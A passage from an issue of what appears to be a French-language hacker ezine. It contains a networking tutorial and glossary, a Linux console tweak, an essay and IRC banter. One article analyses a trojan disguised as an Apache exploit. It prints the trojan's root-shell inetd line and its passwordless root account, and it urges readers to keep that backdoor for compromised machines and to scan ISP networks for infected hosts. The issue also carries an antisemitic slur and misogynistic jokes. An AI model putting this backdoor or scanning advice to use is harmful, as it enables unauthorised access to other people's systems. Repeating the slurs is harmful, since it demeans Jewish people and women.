changer en temps réel selon certaines contraintes. C'est pour cette raison que dans la plupart des protocoles internes, on doit établir une connexion de voisin(neighbor en anglais) entre les différents routeurs, pour qu'ils savent à quoi ils sont réellement pluggés. Ces derniers procotoles, servent donc à donner de l'intelligence aux routeurs : ils savent où envoyer le packet. On peut aussi faire en sorte que le packet se fasse guider lui-même. Un router peut ajouter en haut du packet différents champs qui lui permettent de se guider par lui même parmis les routers... m'enfin, le router va regarder ce que la packet a à dire sur la route à suivre.. Vu que le monde sont crazy, y faut que les protocoles qui régissent ça soient sur le layer 2.5. On a donc par exemple MPLS(*), qui définie l'entête à placer, et RSVP(*) qui s'occupe de réserver le chemin à prendre par le packet. Avec des trucs comme ça, on peut donc faire de la réversation de bandwith par exemple et prommener nos packets dans un tunnel créé par ces protocoles... c fou hein? ;-) La vous venez de voir que je passe a travers une chose rapidement et d'une façon très condensée. Et bien j'ai pas le choix, ya tellement de choses différentes, que si je m'attardais toujours j'aurais pas fini... mais bon je crois que ce texte a pu donner une très bonne idée de ce que ressemble "Internet" à un niveau plus bas que celui que les gens sont supposés appercevoir... Pour les futés en réseautique qui cherchent le boutte oussé que je vais parler de subnetting et toute ça et bien vous pouvez pratiquement passer votre chemin.. j'ai pas envie d'en parler, heh. Par contre, allez voir le petit supplément d'article, je vais parler de ce qu'est un netmask(*) ainsi que les classes(*)! Tant qu'à faire on va regarder aussi le TCP(*) et le UDP(*). Pis en prime (comme si c'était pas assé), le ICMP(*) m'intrigue moi. Dans le prochain ezine on va laisser de coté un peu la théorie pour faire de la pratique. On va mettre à nue un packet, et regarder des commandes CISCO. Ça risque d'être intéressent comme surtout après avoir lu la théorie ici. Greetz : - GATTI pour les bières d'aujourdhui (discuter de rézo avec dla bière c fun) - SOulette pour tjrs m'estiner et m'en montrer - Le pain italien pour m'avoir servi de modèle pour mes ASCII ainsi que de fond de nourriture. _____ _ _ ______________ _ __ __ _ _________ _ _ _______________ | |\ | |\ | EOF | | | LastCall_ lastcall@mindkind.org | | |_____| | |__ _ ________ _______________ ___________________ ________| | \_____\| \____________ _____________________________________________\| ____ ,------------------------------------------------- / \ | Vous etes le genre de fucking retard qui s'habille | _ | | en cagoule blanche et qui burn tout ceux qui | / \ | | utilise un gui ? Vous voullez tirer le maximum de || | | / vos console linux, mais 6 a la foi cest pas uber (.) (.)| / multitask hein. Et bien ne desesperez pas il existe || | | <__ une facon de booster le nombre de tty a 11 voir 12. || | | | | Ca bouffe un peu plus de memoir, mais franchement || | | | | ca atteind pas le levhell de winXP. Voici comment |____/|| | | procédé: |\___/ | | | || | | | | à l'aide de votre editeur de text préféré (pico), || | | | | éditez (on s'en doutais) le fichier /etc/inittab || | | | | vous devriez trouver a l'interieur les lignes || | | suivante (quelque par vers la fin) | \___/ | | | c1:1235:respawn:/sbin/agetty 38400 tty1 linux \______/ c2:1235:respawn:/sbin/agetty 38400 tty2 linux c3:1235:respawn:/sbin/agetty 38400 tty3 linux c4:1235:respawn:/sbin/agetty 38400 tty4 linux c5:1235:respawn:/sbin/agetty 38400 tty5 linux c6:12345:respawn:/sbin/agetty 38400 tty6 linux 1ere etape : modifier la ligne c6:12345:respawn:/sbin/agetty 38400 tty6 linux pour c6:1235:respawn:/sbin/agetty 38400 tty6 linux et ajouter les lignes suivante c7:1235:respawn:/sbin/agetty 38400 tty7 linux c8:1235:respawn:/sbin/agetty 38400 tty8 linux c9:1235:respawn:/sbin/agetty 38400 tty9 linux c10:1235:respawn:/sbin/agetty 38400 tty10 linux c11:12345:respawn:/sbin/agetty 38400 tty11 linux Pourquoi 11 et pas 12 ? he bien si vous utilisez Xfree, vous allez etre content de pouvoir faire alt-f12 pour retourner a X si vous avez decidez de revenir en console sans killer X pour une raison disons X. Si vous en voullez douze, vous navez qua rajouter une ligne 11 identique a la 10 et a incrementer la 11 de 1 (11 + 1 = 12) si vous etes lache, eviter de faire un cut paste des 5 premieres ligne pour les rajouters a la fin, ou si vous le faites assurez vous de donner le bon chiffre apres le "c" pour qu'il n'y en ai pas en double, car il va caster 2 login dans le meme tty et ca devien impossible de se logger. _________ _ _ _______________ ___________ _______ MindKind10 __ _ __ __/ / | / / | Internet++, by LastCall_ / 10.7 / ' aka: Need input, Steph-an-ie! . ----- / \_ _______ ______ _____ __ __ ___________ _______________/ ' /________/ ( supplément (non-vitaminaire) à mon autre article) Pain blanc ou pain brun? L'important c'est d'être en santé.. mais ne jamais mélanger du pain brun avec de la moutarde de Dijon, cé 2 fois plus dégeux. Si vous avez pas comprit le but du pain dans cette histoire, c'est que vous n'avez pas lu "Internet esspliqué" (mon autre article sur Internet). Cet article ci est juste un petit supplément d'informations sur le même sujet. Un glossaire en quelques sortes. Par contre, pensez pas que je vais aller dans le fin creux des choses! Le but de mes articles c'est d'esspliquer les choses simples. Cet article complémentaire, bien que plus en détails, va rester simple Je vais mettre des links (facilement trouvable sur google!) pour plus d'infos. MAC Media Access Control C'est pas trop complexe, c'est un identifiant unique de 48bits de long qu'on donne aux interfaces dans un réseau. Sur un réseau Ethernet, il ne faut pas avoir 2 destinations (la MAC address donc) semblable, sinon les 2 interfaces avec la même MAC address ont de fortes chances de recevoir les packets de l'autre. L'IEEE s'occupe de distribuer des débuts de MAC address à chaque constructeur et ensuite eux se débrouillent pour le reste. Pour la liste complète de tça aller la : http://standards.ieee.org/regauth/oui/index.shtml Pour savoir votre MAC dans Windows : "ipconfig /all" et dans unix : "ifconfig -a" Pour faire une recherche de MAC adress : http://coffer.com/mac_find/ Ne vous trompez pas : http://www.ifrance.com/confianceenmcdo/img7.gif Ethernet Si on regarde ce protocole la selon son level (2), on comprends vite à quoi il sert. Utilisé pour les LAN, Ethernet permet de transférer des données sans être PPP(point-to-point protocol, quand y'a juste un fil direct entre les deux interfaces reliées ensemble). Y'en aurait beaucoup à dire sur Ethernet, car il est de loin le protocole le plus utilisé pour les LANs. Mon premier hit sur google ma amené au URL suivant : http://www.ethermanage.com/ethernet/ethernet.html Si vous cherchez comme faut, vous allez tomber sur LES documents PDF de 20Mo du IEEE http://standards.ieee.org/getieee802/portfolio.html?agree=ACCEPT Par contre vous allez voir avec HORREUR qui manque le premier document... Ne stresser pas, le voici : http://mindkind.org:8787/ieee/ Si jamais plus tard le IEEE capote, envoyer un email à abuse@mindkind.org on va s'arranger pour mettre le document que vous voulez online! LAN Local Area Network Simple. C'est pas un WAN (wide area network) ni un MAN (metropolitain area network). La seule différence entre un LAN pis Internet c'est que c'est à une plus petite échelle. Du genre, je suis connecté sur un LAN qui m'aide à me connecter sur Internet... Lorsque je me promène, je sors généralement de mon LAN via un routeur. Aussi, d'habitude un LAN contient un seul network. Donc tout le monde voit les broadcasts de tlm, etc. Bien que n'importe quoi peut marcher comme adresse IP si le LAN est fermé, il en est pas de même quand il est linké sur Internet, on donc 3 choix disponibles 10.0.0.0/8, 172.16.0.0/12 et 192.168.0.0/16. Lien platte qui dit rien dl'fun mais qui confirme mes dires : http://www.isi.edu/in-notes/rfc1918.txt AS Autonomous System Rien de trop technique non plus.. c'est juste un endroit qui désigne un même network.. ben plutôt un network administrer par la même "personne". Du genre je peux avoir plusieurs networks dans mon AS, mais c'est toute moi qui s'en occupe.. sur Internet les AS sont owné par des grandes compagnies (UUNET). IGP Interior routing protocol on peut dire que OSPF et RIP sont des IGP. criss c plein dacronymes! OSPF Open Shortest Path First IGP de routing dans un réseau. Permet de choisir le path le plus court pour envoyer des packets, et ce avec tout plein de contraintes (pour faire du trafic engineering). Un routeur qui roule OSPF à une database de liens spreadés sur le network (LSA, Link State Advertisement). Il s'occupe dans son temps en checkant si les routeurs connectés à lui-même sont encore la et spread l'information. Bien sûre, il calcul le chemin le plus court pour une route avec l'aide de l'algo SPF! ouf. Y'a aussi ISIS qui fait la même chose (avec SPF), mais le protocole ne lui ressemble pas... RFCs : http://www.ietf.org/rfc/rfc1583.txt http://www.ietf.org/rfc/rfc2328.txt RIP Routing Information Protocol IGP de routing (nonnnnn :-P) dans un réseau (y'a tu ailleurs que dans un réseau qu'on route??). Je le connais pas pentoute, mais je sais que CISCO s'en sert... donc ça doit être bon. Ou ben justement y'a juste CISCO qui le connaît fak yé peut-être pourri pis on sait pas! M'enfin, link: http://www.cisco.com/univercd/cc/td/doc/cisintwk/ito_doc/rip.htm MPLS Multi-Protocol Label Switching Rapidement, c'est un protocole qui rajoute un header à notre packet et qui lui dit où aller... Par lui même, ce protocole fait rien d'autre que de rajouter le header, mais ça vaut pour un paquet d'autres protocoles, dont RSVP... http://www.mplsrc.com/ RSVP ReSerVation Protocol Mettons qu'on veut être sure de notre coup quand on fait de quoi sur notre network, ben on utilise RSVP. Hein? On appelle ça du QoS Quality of Service Ça permet de faire de la réservation de bandwidth pour être sûr de pas en manquer. C'est bcp utilisé en téléphonie IP, car on a besoin d'une bandwidth constante. RSVP permet donc de créer des tunnels, de réserver de la bandwidth pour ces derniers dans le but de faire voyager les packets dedans. Fun. Netmask Utilisé pour décrire la portée d'un réseau, le netmask peut s'exprimer de deux manières, mais dans les 2 cas ça revient à la même chose. /32 veut dire une seule adresse dans le réseau, ce qui revient au même que 255.255.255.255 /24 revient au même que 255.255.255.0. Avez vous saisit la ? /30 devient 255.255.255.252. Fun fun. Maintenant voici la façon binaire de voir les choses : 11111111 11111111 11111111 00000000 c'est 255.255.255.0 Un netmask peut juste avoir des bytes 11 à gauche et des 0 à droite, donc 11111111 11111111 00000111 11111111 ça se peut pas (c'est 255.255.7.255). Maintenant, si on fait le lien, le /24 revient au nombre de 1 dans le netmask... j'sais binaire wahou. (voir link à la fin de "Classes") Classes On spécifie un range de IP pour un network avec des classes. En gros, ça permet de séparer 255.255.255.255. On parle de 3 sortes de classes, A, B pis C. A commence de 0.* à 127.*, B 128.* à 191.*, C 192.* à 223.* Pour le reste y'a des classes D pis E mais ils sont utilisées juste pour des shits. Au début d'Internet on pouvait juste acheter une classe, donc quand t'avais une classe A, t'avais TOUTE les maudits IP de ta classe.. ce qui est bcp trop pour n'importe qui. Donc on a commencer à attribuer les adresses IP sans tenir compte seulement des classes. Très bon URLs explicatifs : http://www.pku.edu.cn/academic/research/computer-center/tc/html/TC0302.html et TC0303.html du même début d'URL. TCP Transmission Control Protocol Le contrôle de transmission... non c'est pas un protocole pour ta Civic. C'est plutot pour qu'on soye vraiment sûr et certain que nos packet se sont rendus.. Comment on fait ça? ben on s'arrange pour créer une connexion entre deux machines avec des réponses. Du genre, je veux un TCP sur ton port 12, tu fait ACK (acknoledge, ok), tu fais ok j'arrive, y refait ACK. Pour être sûr de pas se faire fourrer, il attribut des numéros de séquence à cette conversation. TCP est vraiment de quoi de le fun, qui mériterait un article à part entière (surtout que y'a plein de technique de hack intéressantes à faire avec ça! [ack, hack.. la pogne tu.. heh]). RFC 793 pour les intéressés (yé vieux). http://www.faqs.org/rfcs/rfc1180.html me semble pas pire.. UDP User Datagram Protocol On construit des packets qu'on pitche à un host, appelé datagram (ouf). À part de dire que c'est un peu comme TCP sauf que lui ya pas de ACK, j'ai pas grand chose à dire sur UDP... http://www.faqs.org/rfcs/rfc768.html (Last et l'art de s'en sortir avec un RFC.. heh) ICMP Internet Control Message Protocol http://www.ietf.org/rfc/rfc792.txt haha bon ok j'vas pas que faire une référence.. Wyze va me chier dessus :-P ICMP c'est un protocole établi pour envoyer des packets d'autres types que TCP et UDP.. disons que ça sert juste à envoyer des messages, pour le fun. Par exemple lorsque qu'on envoie un PING dans le but d'avoir une réponse pour mesurer le temps que ça prends, ben en envoi en fait un ICMP de type 8 nommé ECHO, dans le but de recevoir la dite réponse! Pour les types de ICMP: http://www.cotse.com/icmptypes.html Broadcast Terme souvent utilisé pour dire qu'on envoie à tout les hosts de notre réseau la même chose. Par exemple un ARP request est broadcasté à tout mon LAN dans le but d'avoir une réponse d'une des machines sur le LAN, mais sans savoir son adresse IP. Aussi on peut appeler broadcast une adresse Internet qui se termine par 255 (genre 177.1.1.255). Cette adresse sert de broadcast vers les autres de son réseau (metton de 177.1.1.1 à 177.1.1.254). Unicast, Multicast Facile facile, ce sont deux contraintes qui veulent dire respectivement que tu envois à un seul et unique host et que tu envois à plusieurs hosts. Bon, fini avec cet article d'acronymes la, j'ai été aussi rapidement que mon autre article, paske dans ce cas la si vous voulez tout plein de détails, aller voir les links, ou ben arrangez-vous sur google! un peu de débrouillardise ça tue pas personne.. :-P _____ _ _ ______________ _ __ __ _ _________ _ _ _______________ | |\ | |\ | EOF | | | LastCall_ lastcall@mindkind.org | | |_____| | |__ _ ________ _______________ ___________________ ________| | \_____\| \____________ _____________________________________________\| < Mindkind tales from IRC > [20:49] moi pis wyzeman on a inventé un device ©'Mindkind [20:49] ctun implant cérébrale avec un microchip [20:50] le microchip soccupe de remplacer le plaisir sexuel, avec l'écriture d'article undergroune [20:50] <[FunkY]> LastAWAY_: kewl [20:51] ya qq bugs [20:51] genre pendant que tu baise ta le gout d'exploiter la fille [20:51] <[FunkY]> comme les souris qui se tue en pesant sur un piton qui leur shoot de l'endorphine pure? :] [20:51] pis ta tendence a double cliquer le sein droit [20:51] too [20:51] ah pis ça la été aussi répertorier que le monde demandait a leur blonde "tu veux que jchte payload inject a soir?" [20:51] mais a part sa [20:52] c ok (on pense) [20:52] [FunkY] c pire [20:52] [FunkY] técris, tu jouie. [20:52] <[FunkY]> kewl < ----------------------- > _________ _ _ _______________ ___________ _______ MindKind10 __ _ __ __/ / | / / | /WHOAMI vs. /WHOAREWE ?, by H3 / 10.8 / ' aka: Cherchez pas a comprendre . ----- / \_ _______ ______ _____ __ __ ___________ _______________/ ' /________/ ¸.________________.¸ |6¯¯¯¯¯ ¯¯¯¯9| | _------ ----_| |`.¸________ _ ¸ .`| |o o8@¤o@©8o || | .8 o8*` o 8¸ || | o ¸* *o || | 8. `MindKind 9/ | | 8 ¨` ,` `¸ ,.;/} | | 8o¸. ¸.,.`o8/,` | |o `(8o88o*90/ /| | o `*`*/ / | | O O 8/ / | |o o / / | | O ¸___ _/ \¸h3| |._`_____/ \©.| `*.______________.*` #include fautes.fr pre f a c e. . . Salutations. Mon nick est h3 *historique; non sa veux rien dire. après 1 ans sur irc avec des nick plus fashion les uns que les autres j'en suis venu à la conclusion que le nick qui me représenterait le mieux serait un nick qui ne veux rien dire. Quoi de plus débile que d'être jugé à partir d'un mot de 1 à 9 caractères qui est supposé nous représenter.. le faits est que personne ne prend de nick qui les représentent, ils ne font que s'identifier à quelque chose qu'ils croient *hot* pour attirer le plus de personnes du même type qu'eux. pour cette raison j'ai décider de choisir un nick qui laissrait une interpretation différente pour chacun. L'imaginaire de l'homme est vaste, probablement plus que l'univers, car c'est le seul endroit ou 2+2 peuvent donner 3. bref sa marche, l'integration dans divers clans sociaux est beaucoup plus simple si l'on n'est pas jugé au premier coup d'oeil, mais plutot associé à quelque chose de son propre imaginaire, ou même à quelque chose d'inconnu (l'humain aime bien être intriguer, pkoi ?, el cé tu sti.) ;historique eof* J'ai décider d'écrire cet article après avoir relu le mindkind01 (qui m'à charmer avec son humour propre au kébec ircéen et la qualité des articles, j'avais déjà lu quelques iga que j'avais bien aimer aussi, mais avec mindkind je crois que la maturité à porter fruit pour donner lieu un e-zine québecois de qualité) L'article #09 "nothing94's Pessimism" de nothing94. Un article plutôt suicidaire, mais qui ma toucher. L'auteur pose des questions existencielles à un public invivisible sur le sens de la vie et notre raison d'être en tant qu'être humain "pensant". Il en vient à la conclusion plutôt sombre mais vrai que notre seul raison d'être est de mourrir. "L'ignorance est le plus beau cadeau que vous pouvez obtenir sur terre. Vaut mieux ne rien savoir que de voir du noir partout." Sa phrase résume assé bien ou je veux en venir. L'être humain est probablement le seul être pensant de l'univers connu actuel. Mais non pas le seul être vivant. L'homme est entouré` d'êtres vivant, mais il est seul. Seul à savoir, et ne pas savoir. L'homme est conscient de sont existance. Mais il à besoin de savoir pourquoi il est, pourquoi il existe. Pendant l'ère préhistorique l'homme ne devais certainement pas avoir le temps de penser à ses choses la, plus tard ils répondèrent à ces questions existenciel avec la religion et diverses croyances populaires, ce qui semblait rassurer le monde et le fait encore. Quand je vous disais que l'imaginaire de l'homme était vaste, il n'est pas seulment vaste, il est puissant. Il permit deréaliser de grande choses, comme les pyramides, tout ca parce qu'un homme croyait qu'il vivrait éternellement si il le fesait. bon p-e un jour j'ferai un article intitulé "comment cathalyser l'imaginaire humain pour conquérir le monde for dummies", mais pour l'instant revenont à nos questions existenciels. À quoi bon exister si c'est pour mourrir ? À quoi sert la vie ? Personnellement j'crois qu'il ne faut pas y chercher de sens, visiblement nous avons été concu pour survivre, "la vie trouvera son chemin" comme y disent dans jurasic park, peu importe ce que l'on dis sur notre "fragillité", on n'est l'un des parasite les plus résistant qui ronge notre planete. Récament je me suis poser les question que l'auteur nothing94 se pose dans sont article, et ce sans avoir lu sont article (raison pour laquelle il ma toucher d'ailleur) J'en suis venus à un poil près aux mêmes conclusions, sauf que j'suis p-e de nature un peu moin péssimiste. J'crois pas que l'on aye de raisons d'être particulière, le monde écoutent trop la tv. Notre seul but inné est de survivre et de se reproduire (btw, la testostèrone est un poison amère que les femelles ne comprendront jamais) Présentement on n'est au stade; bon, on c'est reproduit en masse jusqu'à spoiler notre gene pool, ya pu grand choses a craindre pour notre survie venant d'la nature et je ne crois plus en rien, pkoi chu la asteur? j'ai pas plus la réponse, et probablement qu'il y'en n'à pas. On se fait chacun nos buts, car nos réalisation on un impact relatif sur notre univers immédia et sa nous donne l'impression que l'on est la pour quelque chose et que nous avons un but, que l'on existe pas pour rien. Le vide et l'inconnu sont deux chose qui font peur à l'homme, p-e qui faut juste arrêter d'avoir peu pis d'se poser des questions sur notre raison d'être. Personnellement je me suis rendu à l'évidence devant les faits que personne, depuis que l'homme est homme et que la femme est folle, avait trouver de réponse "valable" (selon moi) à notre existence et que je ne serais surement pas celui qui en trouvra une. Pour ma pars j'ai choisis l'art pour m'évader d'la pression social et des questions sans réponses, l'art a fait grandir l'esprit humain depuis la nuit des temps et c'est probablement l'art visuel qui à su developper la faculté d'abstraction de l'homme jusqu'à ce qu'il puissent comprendre des concepts aussi abstraits que la relativitée, mais bon, c'est un opinion. Mais de tout temps l'art à influencer l'homme au plus au point, et c'est indéniable. conclusion. aka; yé j'ai trouver un but a ma vie! Chatouiller, provoquer, perturber l'imaginaire humain. Peu-être qu'un jour quelqu'un fera de grandes choses après avoir été toucher par mon art. note personnel: l'une des différence marquante entre un ordinateur et l'homme , c'est la capacitée que l'homme à d'assimiller une valeur fondamentale, éroné, sans perturber sont fonctionnement (mental) ou "crasher", encore la on pourrais p-e associé une psychose à un "mental crash". eheh. En d'autres mots l'homme répond aux questions qui peux répondre pis l'reste, si y connait pas la réponse y bullshit sa. note personnel 2: L'une des différence marquante entre l'homme et la femme, c'est la capacité que l'homme à de remplacer la dite valeur "éronée" par une véritée, ou une valeur plus près de la véritée. La femme continura d'affirmer qu'elle détient la vérité absolue. .-------------------------------------------------------------------. |~inspirations & greetz in chronological order~ |; | -life || | -thetrahydrocanabinol || | -mindkind01.txt || | -nothing94 - http://nothing94.250x.com || \-------------------------------------------------------------------\| ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ sur ce.. aur'voir et à la prochaine. same mind-zine, same mind-server. btw sorry pour les lectrices *potentielles*, chu pas mysogyne, juste un peubaveux :P~ _____ _ _ ______________ _ __ __ _ _________ _ _ _______________ | |\ | |\ | EOF | | | h3 h3@mindkind.org | | |_____| | |__ _ ________ _______________ ___________________ ________| | \_____\| \____________ _____________________________________________\| < Mindkind tales from IRC > [01:51] menfin c fou ckon trouve dans les poubelles. [01:51] des lesbienne ? [01:52] non [01:52] bisexuelles [01:52] nazi [01:52] avec des ressorts. [01:52] hahaha [01:53] quand ten vois ya quune chose a faire : RUNNNNNNNNNNNN < ----------------------- > _________ _ _ _______________ ___________ _______ MindKind10 __ _ __ __/ / | / / | Team teso Exploit, by Wyzeman / 10.9 / ' aka: Une belle gang de crosseur juif . ----- / \_ _______ ______ _____ __ __ ___________ _______________/ ' /________/ Vous croyez que les trojan c'est lame, et bien vous avez peu etre raison, personnellement je serais portez a vous repondre que vous avez simplement un complexe d'inferioriter si vous pensez ca, et il semblerais que team teso soit bien daccord avec moi. Car il ont bien resealer, non pas publiquement comme CDC et sont back orifice, mais de facon semi private, mais surtout sournoise un trojan. He oui, Un beau petit trojan camoufler en exploit sur un honey pot de team teso. Vous apprendrez dans cette article la nature de se trojan, ce qu'il fait, comment s'en debarasser, et le plus interressant, comment s'en servire pour soit. Le tout sera raconter em suivant l'ordre chronologique de mon experience avec ce trojan. Bon, le dit trojan a ete trouver sous la forme d'un exploit deja compiler sur le honey pot de team teso, comme genre, cadeau empoisonner on fait pas mieu. mais apres tout qu'est-ce qui pourrais etre plus suspect qu'un exploit deja compiler sur un honney pot et aucune trace du source code ? on se le demande. le soit disant exploit vise une supposer faille du serveur apache 1.3.x , je dis supposer exploit car apres lavoir laisser tourner durant 24h, aucun resultat (reussite ou erreur) n'a ete enregistrer. Ce qui laise porter a croire que l'exploit ne fait qu'installer le dit trojan et nexploit rien du tout. Lancon donc le dit exploit. bash-2.05# ./7350steak.bin 7350steak - Remote nobody exploit for apache-1.3.x (linux) by lorian Usage: ./7350steak password: invalid key bash-2.05# cat pass you-cant-code bash-2.05# ./7350steak.bin 7350steak - Remote nobody exploit for apache-1.3.x (linux) by lorian Usage: ./7350steak password: ./7350steak.bin bash-2.05# bon, je fais ici une pause pour vous rappellez que je vous fait un remake authentique de mon experience, incluant mes erreurs stupide de guessage. et quoi de plus suspect qu'un exploit pres compiler sur un honey pot qui demande un pass et que le pass en question est "you-cant-code" ? on se le demande. bash-2.05# ./7350steak.bin pedalomedia.com 7350steak - Remote nobody exploit for apache-1.3.x (linux) by lorian Usage: ./7350steak password: ++ sending exploit code... ++ Brute forcing offset ++ wait... sh: /bin/mail: No such file or directory sh: /bin/mail: No such file or directory bon, alors, quoi de plus suspect qu'un exploit precompiler sur un honney pot qui demande un mot de passe et que le mot de passe en question est "you-cant-code" et qui de surcrois demande que mail soit installer ? Et bien on peu toujours etre naif et croire qui vous nous emailer a root afin de nous donner le resultat ou nous avertir plus que le "bruteforcing offset semble long". et surtout lexploit a pas lair de rien faire (pour lavoir laisser tourner 30 minute avant dme decider a installer mail). Par contre, je fais ici une breche dans lunivers espace temps pour vous avertir que le 3/4 du mal est deja faite, en fait le seul mal qui na pas ete fait cest que le mail (mouais stun pseudo jeux de mots), qui averti team teso que vous etes infectez nest pas parti (messemble qu'une connection socket a un cgi aurais eu lair moin suspect, mais qui suis-je pour oser reprimender un trojan de team teso ? jai meme pas de dec). donc apres avoir installer mail, jai relancer l'exploit. bash-2.05# ./7350steak.bin pedalomedia.com 7350steak - Remote nobody exploit for apache-1.3.x (linux) by lorian Usage: ./7350steak password: ++ sending exploit code... ++ Brute forcing offset ++ wait... ps: pedalomedia c'est le site du syndicat des enculers de tech de videotron. evidament je m'en sert ici qu'a titre exemplair, allez pas croire que.... et jai laisser tourner tourner tourner et tourner, jusqua ce que je dise en joke sur #mindkind et si cetais un trojan. N'y croyant pas trop, mais m'ayant faite peur a moi meme, j'ai decider de me scanner au cas ou. En fait je me disais, messemble que sa serais drole, et bien je l'ai trouver moin drole que prevu quand jai vu le resultat du scan. bash-2.05# nmap -sS -P0 localhost Starting nmap V. 2.54BETA37 ( www.insecure.org/nmap/ ) Interesting ports on localhost (127.0.0.1): (The 1591 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 22/tcp open ssh 37/tcp open time 80/tcp open http 113/tcp open auth 139/tcp open netbios-ssn 3306/tcp open mysql 6000/tcp open X11 Nmap run completed -- 1 IP address (1 host up) scanned in 1 second bash-2.05# drole, et bien je l'ai trouver moin drole que prevu quand jai vu C'est a peu pret la que mon sang a virer au vinaigre. Car connaissant bien ma machine (c'est moi qui la setuper apres tout, javais jamais ouver le service TIME (jpas un departement de rolex). Et dailleur une visite rapide de mon /etc/inetd.conf me confirma la chose, et me derouta d'autant plus. #time stream tcp nowait root internal #time dgram udp wait root internal les deux ligne etant effectivement commenter, comment mon port time peu t'il etre ouvert ? jai rebooter au cas ou que ca aurait ete un simple process (trop lache pour guesser a partir dun ps -aux). evidament comme jmen doutais et que vous vous doutez surement ca rien changer, mon port 37 etais toujours aussi ouvert. jai donc decider de le telneter pour avoir le coeur net bash-2.05# telnet localhost 37 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. sh-2.05# le trojan ouvre dont un shell sh automatiquement, sans login rien. ne sachant pas trop par ou commencer je lai firewaller (car je me doutais bien que team-teso avait recu un email de plus dans leur boite a male). Ensuite jai decider de faire un find sur les executables root qui aurais pu etre modifier. bash-2.05# find / \( -perm -02000 -o -perm -04000 \) -ls 504848 35 -rws--x--x 1 root bin 35248 May 30 2001 /usr/bin/at 504849 11 -rws--x--x 1 root bin 10592 May 30 2001 /usr/bin/crontab 504910 11 -rws--x--x 1 root bin 11244 Apr 15 2001 /usr/bin/disable-paste 505013 33 -rws--x--x 1 root bin 33760 Jun 18 2000 /usr/bin/chage 505014 29 -rws--x--x 1 root bin 29572 Jun 18 2000 /usr/bin/chfn 505015 27 -rws--x--x 1 root bin 27188 Jun 18 2000 /usr/bin/chsh 505016 18 -rws--x--x 1 root bin 17584 Jun 18 2000 /usr/bin/expiry 505017 34 -rws--x--x 1 root bin 34212 Jun 18 2000 /usr/bin/gpasswd 505018 20 -rws--x--x 1 root bin 20368 Jun 18 2000 /usr/bin/newgrp 505019 35 -rws--x--x 1 root bin 35620 Jun 18 2000 /usr/bin/passwd 505069 10 -r-xr-sr-x 1 root tty 9768 Jun 21 2001 /usr/bin/wall and so on (je listerais pas toute pour vous faire plaisir, et puis ca prendrais un peu trop de place pour l'importance reel). Finalement aucun executable root navais ete modifier la journee ou l'exploit/trojan a ete lancer. Par la suite, j'ai effacer mon inetd et remplacer par une version plus recente (spa la version plus recente qui est important mais le fait de changer), mais comme de fait, ca na rien modifier. Au desespoir je me coucha donc la dessus, et de fut le lendemain midi que la solution m'apparue, Je re-ouvris mon fichier /etc/inetd.conf et m'appercu que le petit trojan avait rajouter une ligne a la toute fin. time stream tcp nowait root /bin/sh sh -i cetais donc ca. Quand meme efficace pour 1 lignes non ? mais ce n'est pas tout, l'exploit/trojan ajoute aussi un user operator sans password dans le /etc/passwd : operator::0:0:operator:/root:/bin/bash et bien, laissez moi vous dire que ca pas ete long que je me suis debarrasser de ca. jai deleter laccompte operator et jai commenter la ligne du time dans mon inetd.conf et j'ai rebooter mon inetd. (ca cest comment se debarraser du trojan (mouais jen ai deja vu des plus compliquer, javous)). Pourquoi jai juste commenter la ligne "time" ? et bien pour pas avoir a m'en souvenir si jvoullais m'en servire plus tard, apres tout ca fait une exelente backdoor lorsqu'on root une box, on va pas fouiller dans sont /etc/inetd.conf a toute les jours. Bon comme j'etais pas rassasier, et que je desirais prendre une revange spirituelle sur team-teso. j'ai decider de re-runner l'exploit et de sniffer les packets avec snort(question de savoir a qui le mail allais). voici sque ca donner : 73 32 35 36 2D 63 62 63 2C 72 69 6A 6E 64 61 65 s256-cbc,rijndae 6C 2D 63 62 63 40 6C 79 73 61 74 6F 72 2E 6C 69 l-cbc@lysator.li 75 2E 73 65 00 00 00 66 61 65 73 31 32 38 2D 63 u.se...faes128-c 62 63 2C 33 64 65 73 2D 63 62 63 2C 62 6C 6F 77 bc,3des-cbc,blow 66 69 73 68 2D 63 62 63 2C 63 61 73 74 31 32 38 fish-cbc,cast128 2D 63 62 63 2C 61 72 63 66 6F 75 72 2C 61 65 73 -cbc,arcfour,aes 31 39 32 2D 63 62 63 2C 61 65 73 32 35 36 2D 63 192-cbc,aes256-c 62 63 2C 72 69 6A 6E 64 61 65 6C 2D 63 62 63 40 bc,rijndael-cbc@ 6C 79 73 61 74 6F 72 2E 6C 69 75 2E 73 65 00 00 lysator.liu.se.. enfin la parti interressante, ca nous apprend en gros que ca envoie le email a rijndael-cbc@lysator.liu.se jai donc envoyer un email pour le remercier de mavoir donner une backdoor si leet et assouvir ma soif de vangeance. Apres j'ai scanner une bonne parti des class B des isp majeur quebecois pour voir si jetais le seul tata a avoir runner ca. il semblerais que oui, mais je suis loin d'avoir scanner toute internet. vous pourrez donc vous aussi scanner un peu partout a la recherche d'un sh sur le port 37, bonne chance. _____ _ _ ______________ _ __ __ _ _________ _ _ _______________ | |\ | |\ | EOF | | | Wyzeman wyzeman@mindkind.org | | |_____| | |__ _ ________ _______________ ___________________ ________| | \_____\| \____________ _____________________________________________\| .___. ._. .._. _. . ||¯¯¯V¯¯|._.._.._. ¸/||¯|/¯|._.._.._. ¸/|© || |[¯]|¯\|¯| | || ` |[¯]| \| | | | || |v| ||¯|| ` |_.-l || C:|¯|| ` |_.-l |_. || | | || || ¸ || 0 || ¸ || || ¸ || 0 |8o ||__| |_||_||_|\_||____||_|\_||_||_|\_||____|08 ~ ~ `¯¯¯` `¯``¯``¯``¯``¯¯¯¯``¯` ```¯``¯``¯``¯¯¯¯`\0 ` `` `¯ ¯¯¯¯ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯`` http://mindkind.org:8787/ _________ _ _ _______________ ___________ _______ MindKind10 __ _ __ __/ / | / / | et si on perlais de perl ?, by LastCall_ / 10.10 / ' aka: genre la suite du #1 dans le #1 . ----- / \_ _______ ______ _____ __ __ ___________ _______________/ ' /________/ Lors de la première partie de cette chronique MindKind, j'ai traité en long et en large des variables. "Big deal" me direz vous, cependant plus vous y penser, plus les variables ont un plan important et en 